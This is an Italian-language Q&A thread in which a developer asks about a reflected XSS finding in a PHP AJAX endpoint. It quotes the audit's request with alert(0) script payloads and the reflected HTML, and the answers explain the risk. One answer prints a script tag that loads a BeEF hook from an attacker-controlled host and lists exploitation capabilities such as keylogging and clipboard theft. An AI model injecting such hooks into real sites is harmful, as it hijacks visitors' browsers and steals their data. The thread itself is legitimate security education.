GET con parametri aggiuntivi porta a "code injection" in html visualizzato

6

Abbiamo ottenuto una revisione della sicurezza del nostro codice PHP e la società di sicurezza ha inviato questo messaggio nel loro rapporto:

Richiesta

GET /appdir/ajax/addAvail.php?counter=1216%3cscript%3ealert(0)%3c%2fscript%3e&from=1216%3cscript%3ealert(0)%3c%2fscript%3e&to=1216%3cscript%3ealert(0)%3c%2fscript%3e&day=1216%3cscript%3ealert(0)%3c%2fscript%3e&parentDiv=1216%3cscript%3ealert(0)%3c%2fscript%3e&type=1216%3cscript%3ealert(0)%3c%2fscript%3e&date=1216%3cscript%3ealert(0)%3c%2fscript%3e&showdate=1216%3cscript%3ealert(0)%3c%2fscript%3e
HTTP/1.1 
Host: localhost 
Proxy-Connection: keep-alive 
User-Agent: x 
Content-Length: 0 
Cache-Control: max-age=0 
Origin: null 
Accept: text/html 
Accept-Language: en-US,en;q=0.8 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 

Risposta

HTTP/1.1 200 OK 
Date: Fri, 17 Dec 2010 00:46:48 GMT 
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1 
X-Powered-By: PHP/5.3.1 
Set-Cookie: PHPSESSID=q832q9c0ftdsat8r55dg32taf7; path=/ 
Expires: Thu, 19 Nov 1981 08:52:00 GMT 
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 
Pragma: no-cache 
Content-Length: 928 
Content-Type: text/html 
<div class="time_row" id="days_time_container1216<script>alert(0)</script>"> 
<div class="day_holder">1216<script>alert(0)</script></div> 
<div class="time_holder">1216<script>alert(0)</script> <span>-</span> 1216<script>alert(0)</script></div> 
<div class="button_holder"><a href="javascript:void(0);" onClick="removeElement('1216<script>alert(0)</script>','days_time_container1216<script>alert(0)</script>','decrementDays')" class="link4">Remove</a></div> 
<div class="clear"></div> 
<input type="hidden" id="hday1216<script>alert(0)</script>" name="hday1216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 

<input type="hidden" id="hfrom11216<script>alert(0)</script>" name="hfrom11216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 
<input type="hidden" id="hto11216<script>alert(0)</script>" name="hto11216<script>alert(0)</script>" value="1216<script>alert(0)</script>"> 
</div>

Se accedo direttamente allo script tramite FireFox (intestazioni segnalate da FireBug)

/appdir/ajax/addAvail.php

HTTP/1.1 200 OK
Date: Sat, 25 Dec 2010 03:30:54 GMT
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: no-cache, no-cache
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 253
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<div class="time_row" id="days_time_container">
<div class="day_holder"></div>
<div class="time_holder">   <span>-</span>   </div>
<div class="button_holder"><a href="javascript:void(0);" onClick="removeElement('','days_time_container','decrementDays')" class="link4">Remove</a></div>
<div class="clear"></div>
<input type="hidden" id="hday" name="hday" value="">

<input type="hidden" id="hfrom1" name="hfrom1" value="">
<input type="hidden" id="hto1" name="hto1" value="">
</div>

Sto cercando di capire perché questo potrebbe essere problematico. Ovviamente chiederò alla compagnia di sicurezza, ma sto anche cercando di valutarli e vedere cosa ha da dire la comunità prima che mi diano una risposta rotonda.

Inoltre, questo è relativo a Revisione della sicurezza: "L'user-agent dell'intestazione HTTP è stato impostato su (qualcosa)" nel senso che entrambi questi problemi sono stati identificati nello stesso rapporto.

    
posta siliconpi 25.12.2010 - 04:51
fonte

2 risposte

8

XSS può essere molto pericoloso in molti modi.

Ad esempio se inserisco il seguente bit di XSS nel tuo codice, tutti i client che visualizzano questo codice con Javascript abilitato diventerebbero uno zombie nel mio BEEF-Framework (Browser Exploitation Framework):

<script src='http://10.0.0.100/beef/hook/beefmagic.js.php'></script>

Una volta che qualcuno naviga in una pagina con quell'inclusione di script, il framework automaticamente mi fa sapere e fondamentalmente mi permette di scegliere molto facilmente tra una cassetta degli attrezzi di roba brutta. Per citarne alcuni, che tutti possono essere impostati per l'esecuzione automatica quando i nuovi zombi si registrano:

  • Moduli di sfruttamento del browser (anche integrati con Metasploit)
  • Metasploit autopwn (yepp .. one click one pwn)
  • Scansione porta LAN
  • Rilevamento tor
  • Keylogging
  • Guarda cosa vede la funzionalità dell'utente
  • Pagine visitate bruteforcing
  • Furto degli appunti
  • Rileva plug-in

XSS può davvero essere molto pericoloso!

UPDATE: Nella tua situazione specifica mi sembra che tu stia osservando una vulnerabilità XSS non persistente. Ciò significa che, affinché questo exploit possa interessare altri utenti, gli autori dell'attacco dovrebbero distribuire l'URL a vittime ignare perché possano caricarlo. Questo non è tuttavia uno spettacolo insolito.

    
risposta data 25.12.2010 - 13:14
fonte
6

Questa è una classica vulnerabilità XSS . Il pericolo qui è che l'attaccante esterno potrebbe inserire codice casuale nella pagina. Se questa pagina viene visualizzata in un contesto di privilegi elevato, in sostanza è uguale all'attaccante che ha il controllo sul browser dell'utente quando accede a questa pagina, pertanto l'utente malintenzionato sarà in grado di eseguire qualsiasi azione che l'utente è in grado di eseguire. Ad esempio, se si tratta di un sito di e-commerce, l'utente malintenzionato sarebbe in grado di simulare l'acquisto da parte dell'utente, anche se l'utente non ha intenzione di acquistare nulla. Puoi immaginare quanto può essere male.

Dal momento che ci sono molti modi per indirizzare qualcuno a caricare determinati URL - sia aperti ("fai clic su questo link per ottenere tonnellate di roba gratis!") e nascosti (cornici nascoste, ecc.) - avere qualcosa del genere sul sito è molto pericoloso.

    
risposta data 25.12.2010 - 07:29
fonte

Leggi altre domande sui tag